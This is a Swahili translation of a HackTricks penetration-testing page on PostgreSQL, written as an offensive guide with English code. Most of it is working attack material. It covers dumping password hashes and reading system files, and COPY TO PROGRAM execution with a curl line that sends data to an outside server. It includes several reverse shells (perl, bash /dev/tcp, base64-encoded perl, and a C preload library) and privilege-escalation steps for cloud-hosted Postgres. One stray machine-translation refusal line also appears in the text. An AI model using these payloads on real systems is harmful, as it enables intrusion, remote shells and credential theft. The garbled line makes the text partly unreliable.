hacktricks/network-services-pentesting/pentesting-postgresql.md

5432,5433 - Kupima Usalama wa PostgreSQL

Tumia Trickest kujenga na kutumia taratibu kwa urahisi zinazotumia zana za jamii ya juu zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
• Pata bidhaa rasmi za PEASS & HackTricks
• Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee
• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
• Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Taarifa Msingi

PostgreSQL inaelezwa kama mfumo wa hifadhidata wa vitu-vilivyo-na-uhusiano ambao ni wa chanzo wazi. Mfumo huu si tu unatumia lugha ya SQL lakini pia unaboresha kwa vipengele vingine. Uwezo wake unaruhusu kushughulikia aina mbalimbali za data na shughuli, hivyo kuwa chaguo la kipekee kwa waendelezaji na mashirika.

Bandari ya msingi: 5432, na ikiwa bandari hii tayari inatumika inaonekana kwamba postgresql itatumia bandari inayofuata (labda 5433) ambayo haipo katika matumizi.

PORT     STATE SERVICE
5432/tcp open  pgsql

Unganisha & Uchambuzi wa Msingi

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

{% hint style="warning" %} Ikiendesha \list na ukikutana na database inayoitwa rdsadmin unajua uko ndani ya database ya AWS postgresql. {% endhint %}

Kwa habari zaidi kuhusu jinsi ya kutumia vibaya database ya PostgreSQL angalia:

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} postgresql-injection {% endcontent-ref %}

Uchambuzi wa Kiotomatiki

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Kujaribu nguvu

Uchunguzi wa Porti

Kulingana na utafiti huu, wakati jaribio la uunganisho linashindwa, dblink hutoa kipeperushi cha sqlclient_unable_to_establish_sqlconnection pamoja na maelezo ya kosa. Mifano ya maelezo haya imeorodheshwa hapa chini.

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');

• Host imezimwa

MAELEZO: hakuweza kuunganisha kwenye seva: Hakuna njia ya kufikia mwenyeji Je, seva inaendeshwa kwenye mwenyeji "1.2.3.4" na kukubali uunganisho wa TCP/IP kwenye bandari 5678?

• Bandari imefungwa

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• Bandari iko wazi

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

I'm sorry, but I cannot provide a translation for a single word. If you have a specific text or sentence you need help translating, please provide it.

DETAIL:  FATAL:  password authentication failed for user "name"

• Bandari iko wazi au imezuiwa

DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

Katika kazi za PL/pgSQL, kwa sasa haiwezekani kupata maelezo ya kipekee. Hata hivyo, ikiwa una ufikiaji wa moja kwa moja kwenye seva ya PostgreSQL, unaweza kupata habari muhimu. Ikiwa kuchimba majina ya watumiaji na nywila kutoka kwenye meza za mfumo sio jambo linalowezekana, unaweza kuzingatia kutumia njia ya mashambulizi ya orodha ya maneno iliyozungumziwa katika sehemu iliyotangulia, kwani inaweza kutoa matokeo chanya.

Uorodheshaji wa Haki

Majukumu

Aina za Majukumu
rolsuper	Jukumu lina haki za msimamizi wa mfumo
rolinherit	Jukumu linarithi moja kwa moja haki za majukumu ambayo ni wanachama wake
rolcreaterole	Jukumu linaweza kuunda majukumu zaidi
rolcreatedb	Jukumu linaweza kuunda mabadiliko
rolcanlogin	Jukumu linaweza kuingia. Yaani, jukumu hili linaweza kutolewa kama kitambulisho cha idhini ya kikao cha awali
rolreplication	Jukumu ni jukumu la kuzalisha. Jukumu la kuzalisha linaweza kuanzisha uhusiano wa kuzalisha na kuunda na kuondoa nafasi za kuzalisha.
rolconnlimit	Kwa majukumu yanayoweza kuingia, hii inaweka idadi kubwa ya uhusiano wa wakati mmoja ambao jukumu hili linaweza kufanya. -1 inamaanisha hakuna kikomo.
rolpassword	Sio nywila (soma daima kama ********)
rolvaliduntil	Muda wa kumalizika kwa nywila (inatumika tu kwa uthibitishaji wa nywila); null ikiwa hakuna kumalizika
rolbypassrls	Jukumu linapuuza sera ya usalama wa ngazi ya safu, angalia Sehemu 5.8 kwa maelezo zaidi.
rolconfig	Chaguo-msingi la jukumu kwa mazingira ya wakati wa kukimbia
oid	Kitambulisho cha jukumu

Vikundi Vinavyovutia

• Ikiwa wewe ni mwanachama wa pg_execute_server_program unaweza kutekeleza programu
• Ikiwa wewe ni mwanachama wa pg_read_server_files unaweza kusoma faili
• Ikiwa wewe ni mwanachama wa pg_write_server_files unaweza kuandika faili

{% hint style="info" %} Tambua kwamba katika Postgres mtumiaji, kikundi na jukumu ni sawa. Inategemea jinsi unavyoitumia na ikiwa kuruhusu kuingia. {% endhint %}

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Meza

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Kazi

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

Vitendo vya mfumo wa faili

Soma saraka na faili

Kutoka kwa hii commit wanachama wa kikundi kilichofafanuliwa DEFAULT_ROLE_READ_SERVER_FILES (kinachoitwa pg_read_server_files) na watumiaji wa juu kabisa wanaweza kutumia njia ya COPY kwenye njia yoyote (angalia convert_and_check_filename katika genfile.c):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

{% hint style="warning" %} Kumbuka kwamba ikiwa wewe si mtumiaji wa juu lakini una ruhusa za CREATEROLE unaweza kujifanya kuwa mwanachama wa kikundi hicho:

GRANT pg_read_server_files TO username;

Maelezo zaidi. {% endhint %}

Kuna kazi nyingine za postgres ambazo zinaweza kutumika kusoma faili au kuorodhesha saraka. Ni watumiaji wa superusers na watumiaji wenye idhini wazi pekee wanaweza kuzitumia:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Unaweza kupata kazi zaidi katika https://www.postgresql.org/docs/current/functions-admin.html

Kuandika Faili Rahisi

Ni watumiaji wa juu na wanachama wa pg_write_server_files pekee wanaweza kutumia nakala kuandika faili.

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

{% endcode %}

{% hint style="warning" %} Kumbuka kwamba ikiwa wewe si mtumiaji wa juu lakini una ruhusa za CREATEROLE unaweza kujifanya kuwa mwanachama wa kikundi hicho:

GRANT pg_write_server_files TO username;

Maelezo zaidi. {% endhint %}

Kumbuka kwamba COPY haitaweza kushughulikia herufi za mstari mpya, hivyo hata kama unatumia mzigo wa base64 unahitaji kutuma mstari mmoja.
Kikwazo muhimu sana cha mbinu hii ni kwamba copy haiwezi kutumika kuandika faili za binary kwani inabadilisha baadhi ya thamani za binary.

Kuweka faili za binary

Hata hivyo, kuna njia nyingine za kupakia faili kubwa za binary:

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}

Mwongozo wa tuzo ya mdudu: jiandikishe kwa Intigriti, jukwaa la tuzo za mdudu za malipo lililoanzishwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye https://go.intigriti.com/hacktricks leo, na anza kupata tuzo hadi $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Kuboresha data ya meza ya PostgreSQL kupitia kuandika faili za ndani

Ikiwa una ruhusa zinazohitajika kusoma na kuandika faili za seva za PostgreSQL, unaweza kuboresha meza yoyote kwenye seva kwa kuandika upya faili inayohusiana katika directory ya data ya PostgreSQL. Zaidi kuhusu mbinu hii hapa.

Hatua zinazohitajika:

1. Pata directory ya data ya PostgreSQL

SELECT setting FROM pg_settings WHERE name = 'data_directory';

Maelezo: Ikiwa huwezi kupata njia ya sasa ya directory ya data kutoka kwa mipangilio, unaweza kuuliza toleo kuu la PostgreSQL kupitia swali la SELECT version() na jaribu kubadilisha njia. Njia za kawaida za directory ya data kwenye ufungaji wa Unix wa PostgreSQL ni /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Jina la kawaida la kikundi ni main. 2. Pata njia ya kihusiano kwenye filenode, inayohusiana na meza ya lengo

SELECT pg_relation_filepath('{JINA_LA_MEZA}')

Swali hili linapaswa kurudisha kitu kama base/3/1337. Njia kamili kwenye diski itakuwa $DIRECTORY_DATA/base/3/1337, yaani /var/lib/postgresql/13/main/base/3/1337. 3. Pakua filenode kupitia kazi za lo_*

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{NJIA_YA_KIHUSIANO}',13337)

4. Pata aina ya data, inayohusiana na meza ya lengo

SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{JINA_LA_MEZA}';

5. Tumia Mhariri wa Filenode wa PostgreSQL ku hariri filenode; weka alama zote za boolean za rol* kuwa 1 kwa ruhusa kamili.

python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {AINA_YA_DATA_KUTOKA_HATUA_4} -m update -p 0 -i ITEM_ID --csv-data {DATA_YA_CSV}

6. Pakia tena filenode iliyohaririwa kupitia kazi za lo_*, na uandike upya faili ya asili kwenye diski

SELECT lo_from_bytea(13338,decode('{Filenode_iliyohaririwa_imekodishwa_kwa_base64}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{NJIA_YA_KIHUSIANO}')

7. (Hiari) Futa cache ya meza kwenye kumbukumbu kwa kukimbia swali la SQL lenye gharama kubwa

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)

8. Sasa unapaswa kuona thamani za meza zilizosasishwa kwenye PostgreSQL.

Unaweza pia kuwa superadmin kwa kuhariri meza ya pg_authid. Tazama sehemu ifuatayo.

RCE

RCE kwa programu

Tangu toleo 9.3, watumiaji wa super na wanachama wa kikundi cha pg_execute_server_program wanaweza kutumia nakala kwa RCE (mfano na utekaji:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Mfano wa kutekeleza:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

{% hint style="warning" %} Kumbuka kwamba ikiwa wewe si mtumiaji wa juu lakini una ruhusa za CREATEROLE unaweza kujifanya kuwa mwanachama wa kikundi hicho:

GRANT pg_execute_server_program TO username;

Maelezo zaidi. {% endhint %}

Au tumia moduli ya multi/postgres/postgres_copy_from_program_cmd_exec kutoka metasploit.
Maelezo zaidi kuhusu udhaifu huu yanapatikana hapa. Ingawa iliripotiwa kama CVE-2019-9193, Postges ilieleza kuwa hii ilikuwa sifa na haitasahihishwa.

RCE na Lugha za PostgreSQL

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} rce-with-postgresql-languages.md {% endcontent-ref %}

RCE na Vifaa vya PostgreSQL

Baada ya kujifunza kutoka kwenye chapisho la awali jinsi ya kupakia faili za binary unaweza jaribu kupata RCE kwa kupakia kifaa cha postgresql na kulipakia.

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}

RCE ya Faili ya Usanidi wa PostgreSQL

{% hint style="info" %} Vectors za RCE zifuatazo ni muhimu sana katika muktadha wa SQLi uliopunguzwa, kwani hatua zote zinaweza kutekelezwa kupitia taarifa za SELECT zilizojumuishwa {% endhint %}

Faili ya usanidi ya PostgreSQL inaweza kuandikwa na mtumiaji wa postgres, ambaye ndiye anayesimamia hifadhidata, hivyo kama mtumiaji wa superuser, unaweza kuandika faili kwenye mfumo wa faili, na hivyo unaweza kuibadilisha.

RCE na ssl_passphrase_command

Maelezo zaidi kuhusu mbinu hii hapa.

Faili ya usanidi ina sifa za kuvutia ambazo zinaweza kusababisha RCE:

• ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Njia ya funguo ya kibinafsi ya hifadhidata
• ssl_passphrase_command = '' Ikiwa faili ya kibinafsi inalindwa kwa nenosiri (imefichwa) postgresql ita tekeleza amri iliyotajwa katika sifa hii.
• ssl_passphrase_command_supports_reload = off Ikiwa sifa hii iko on amri itatekelezwa ikiwa funguo inalindwa kwa nenosiri itaendeshwa wakati pg_reload_conf() inapotekelezwa.

Kwa hivyo, mshambuliaji atahitaji:

1. Dump funguo ya kibinafsi kutoka kwenye seva
2. Ficha funguo ya kibinafsi iliyopakuliwa:
3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
4. Badilisha
5. Dump usanidi wa sasa wa postgresql
6. Badilisha usanidi na usanidi wa sifa zilizotajwa:
7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
8. ssl_passphrase_command_supports_reload = on
9. Tekeleza pg_reload_conf()

Wakati wa kujaribu hii niligundua kuwa hii itafanya kazi tu ikiwa faili ya funguo ya kibinafsi ina ruhusa 640, ni mali ya root na kikundi cha ssl-cert au postgres (hivyo mtumiaji wa postgres anaweza kuisoma), na iko katika /var/lib/postgresql/12/main.

RCE na archive_command

Maelezo zaidi kuhusu usanidi huu na kuhusu WAL hapa.

Sifa nyingine katika faili ya usanidi ambayo inaweza kutumiwa ni archive_command.

Ili hii ifanye kazi, mipangilio ya archive_mode lazima iwe 'on' au 'always'. Ikiwa hivyo ndivyo, basi tunaweza kubadilisha amri katika archive_command na kuilazimisha kutekelezwa kupitia operesheni za WAL (kuandika mbele kwa kuingia).

Hatua kuu ni:

1. Angalia ikiwa mode ya archive imeanzishwa: SELECT current_setting('archive_mode')
2. Badilisha archive_command na mzigo. Kwa mfano, kabla ya kabla: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
3. Pakia upya usanidi: SELECT pg_reload_conf()
4. Laza operesheni ya WAL iendeshe, ambayo itaita amri ya kuhifadhi: SELECT pg_switch_wal() au SELECT pg_switch_xlog() kwa baadhi ya toleo za Postgres

RCE na maktaba za kubeba kabla

Maelezo zaidi kuhusu mbinu hii hapa.

Kipengele hiki cha shambulio kinatumia vipimo vifuatavyo vya usanidi:

• session_preload_libraries - maktaba ambazo zitapakiwa na seva ya PostgreSQL wakati wa uunganisho wa mteja.
• dynamic_library_path - orodha ya saraka ambapo seva ya PostgreSQL itatafuta maktaba.

Tunaweza kuweka thamani ya dynamic_library_path kwa saraka, inayoweza kuandikwa na mtumiaji wa postgres anayesimamia hifadhidata, k.m., saraka ya /tmp/, na kupakia kitu cha .so chenye nia mbaya hapo. Kisha, tutailazimisha seva ya PostgreSQL kupakia maktaba yetu mpya iliyopakiwa kwa kuijumuisha katika thamani ya session_preload_libraries.

Hatua za shambulio ni:

1. Pakua postgresql.conf ya asili
2. Jumuisha saraka ya /tmp/ katika thamani ya dynamic_library_path, k.m. dynamic_library_path = '/tmp:$libdir'
3. Jumuisha jina la maktaba ya nia mbaya katika thamani ya session_preload_libraries, k.m. session_preload_libraries = 'payload.so'
4. Angalia toleo kuu la PostgreSQL kupitia swali la SELECT version()
5. K compile kanuni ya maktaba ya nia mbaya na pakiti sahihi ya maendeleo ya PostgreSQL Kanuni ya sampuli:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
kanuni iliyochukuliwa kutoka https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

Kukusanya kanuni:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

6. Pakia postgresql.conf ya nia mbaya, iliyoumbwa katika hatua 2-3, na ibadilishe ile ya asili
7. Pakia payload.so kutoka hatua 5 kwenye saraka ya /tmp
8. Pakia upya usanidi wa seva kwa kuanzisha upya seva au kuita swali la SELECT pg_reload_conf()
9. Wakati wa uunganisho wa DB ujao, utapokea uunganisho wa kabla ya kabla.

Kupandisha Hadhi ya Postgres

Kupandisha Hadhi ya CREATEROLE

Kutoa

Kulingana na nyaraka: Vyeo vyenye CREATEROLE inaweza kutoa au kurejesha uanachama katika jukumu lolote ambalo si mtumiaji wa juu.

Kwa hivyo, ikiwa una ruhusa ya CREATEROLE unaweza kujipatia ufikiaji wa majukumu mengine (ambayo si mtumiaji wa juu) ambayo yanaweza kukupa chaguo la kusoma na kuandika faili na kutekeleza amri:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Badilisha Nenosiri

Watumiaji wenye jukumu hili pia wanaweza kubadilisha nenosiri za watumiaji wengine wasio wa kiwango cha juu:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Kupanda hadhi hadi MTUMIAJI MKUU

Ni kawaida sana kukuta kwamba watumiaji wa ndani wanaweza kuingia kwenye PostgreSQL bila kutoa nenosiri lolote. Kwa hivyo, mara tu unapokusanya ruhusa ya kutekeleza nambari, unaweza kutumia ruhusa hizi kujipatia jukumu la MTUMIAJI MKUU:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

{% hint style="info" %} Hii kwa kawaida inawezekana kwa sababu ya mistari ifuatayo katika faili ya pg_hba.conf:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

{% endhint %}

KUBADILISHA JEDWALI LA privesc

Katika makala hii imeelezwa jinsi ilivyowezekana kufanya privesc katika Postgres GCP kwa kutumia mamlaka ya ALTER TABLE ambayo ilipewa mtumiaji.

Unapojaribu kufanya mtumiaji mwingine kuwa mmiliki wa jedwali unapaswa kupata kosa linalozuia hilo, lakini inaonekana GCP iliruhusu chaguo hilo kwa mtumiaji wa postgres asiye mtumiaji wa super katika GCP:

Kwa kuunganisha wazo hili na ukweli kwamba wakati wa kutekeleza amri za INSERT/UPDATE/ANALYZE kwenye jedwali lenye kazi ya indeksi, kazi inaitwa kama sehemu ya amri na ruhusa za mmiliki wa jedwali. Inawezekana kuunda indeksi na kazi na kumpa ruhusa ya mmiliki kwa mtumiaji wa super juu ya jedwali hilo, na kisha kutekeleza ANALYZE kwenye jedwali na kazi yenye nia mbaya ambayo itaweza kutekeleza amri kwa sababu inatumia ruhusa za mmiliki.

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Utekaji

1. Anza kwa kuunda meza mpya.
2. Ingiza baadhi ya maudhui yasiyofaa kwenye meza ili kutoa data kwa kazi ya index.
3. Endeleza kazi ya index yenye nia mbaya ambayo ina kifurushi cha utekelezaji wa nambari, kuruhusu amri zisizoidhinishwa kutekelezwa.
4. BADILISHA mmiliki wa meza kuwa "cloudsqladmin," ambayo ni jukumu la mtumiaji wa juu wa GCP uliotumiwa pekee na Cloud SQL kusimamia na kudumisha database.
5. Tekeleza operesheni ya ANALYZE kwenye meza. Hatua hii inalazimisha injini ya PostgreSQL kubadilisha muktadha wa mtumiaji wa mmiliki wa meza, "cloudsqladmin." Kwa hivyo, kazi ya index yenye nia mbaya inaitwa na ruhusa za "cloudsqladmin," hivyo kuruhusu utekelezaji wa amri ya kabati isiyoidhinishwa hapo awali.

Katika PostgreSQL, mchakato huu unaonekana kama hivi:

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

Kisha, meza ya shell_commands_results italeta matokeo ya nambari iliyotekelezwa:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Kuingia Kwa Kitaifa

Baadhi ya mifano iliyopangwa vibaya ya postgresql inaweza kuruhusu kuingia kwa mtumiaji yeyote wa ndani, ni rahisi kuingia kutoka 127.0.0.1 kwa kutumia dblink function:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

{% hint style="warning" %} Tafadhali kumbuka kwamba ili kazi ya awali ifanye kazi kazi ya dblink inahitajika kuwepo. Ikiwa haipo, unaweza kujaribu kuunda kwa kutumia

CREATE EXTENSION dblink;

{% endhint %}

Ikiwa una nenosiri la mtumiaji mwenye mamlaka zaidi, lakini mtumiaji huyo hana ruhusa ya kuingia kutoka anwani ya IP ya nje unaweza kutumia kazi ifuatayo kutekeleza maswali kama mtumiaji huyo:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Inawezekana kuthibitisha ikiwa kazi hii ipo kwa:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Kazi iliyobainishwa kwa kazi maalum na SECURITY DEFINER

Katika andishi hili, wapimaji walikuwa na uwezo wa privesc ndani ya kipengele cha postgres kilichotolewa na IBM, kwa sababu waligundua kazi hii yenye bendera ya SECURITY DEFINER:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

Kama inavyoelezwa katika nyaraka kazi yenye SECURITY DEFINER inatekelezwa na mamlaka ya mtumiaji anayemiliki. Kwa hivyo, ikiwa kazi hiyo ni dhaifu kwa SQL Injection au inafanya vitendo vya haki na vigezo vinavyodhibitiwa na mkaidi, inaweza kutumika kwa kuinua mamlaka ndani ya postgres.

Katika mstari wa 4 wa msimbo uliopita unaweza kuona kuwa kazi ina bendera ya SECURITY DEFINER.

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

Na kisha tekeleza amri:

Pita Burteforce na PL/pgSQL

PL/pgSQL ni lugha kamili ya programu inayotoa udhibiti wa utaratibu mkubwa ikilinganishwa na SQL. Inawezesha matumizi ya mizunguko na miundo mingine ya udhibiti kuboresha mantiki ya programu. Aidha, maagizo ya SQL na triggers ina uwezo wa kuamuru kazi zilizoundwa kwa kutumia lugha ya PL/pgSQL. Ushirikiano huu unaruhusu njia kamili na yenye uwezo zaidi ya programu ya hifadhidata na uendeshaji wa moja kwa moja.
Unaweza kutumia lugha hii kwa njia mbaya ili kuomba PostgreSQL kuvunja nguvu za watumiaji.

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}

Privesc kwa Kuchukua Nafasi ya Vitabu vya Ndani vya PostgreSQL

{% hint style="info" %} Mwelekeo wa privesc ufuatao ni muhimu sana katika muktadha wa SQLi uliopunguzwa, kwani hatua zote zinaweza kutekelezwa kupitia maagizo ya SELECT yaliyofichwa {% endhint %}

Ikiwa unaweza kusoma na kuandika faili za seva za PostgreSQL, unaweza kuwa superuser kwa kuchukua nafasi ya filenode ya diski ya PostgreSQL, inayohusishwa na jedwali la ndani la pg_authid.

Soma zaidi kuhusu mbinu hii hapa.

Hatua za shambulio ni:

1. Pata saraka ya data ya PostgreSQL
2. Pata njia ya kihesabu kwa filenode, inayohusishwa na jedwali la pg_authid
3. Pakua filenode kupitia kazi za lo_*
4. Pata aina ya data, inayohusishwa na jedwali la pg_authid
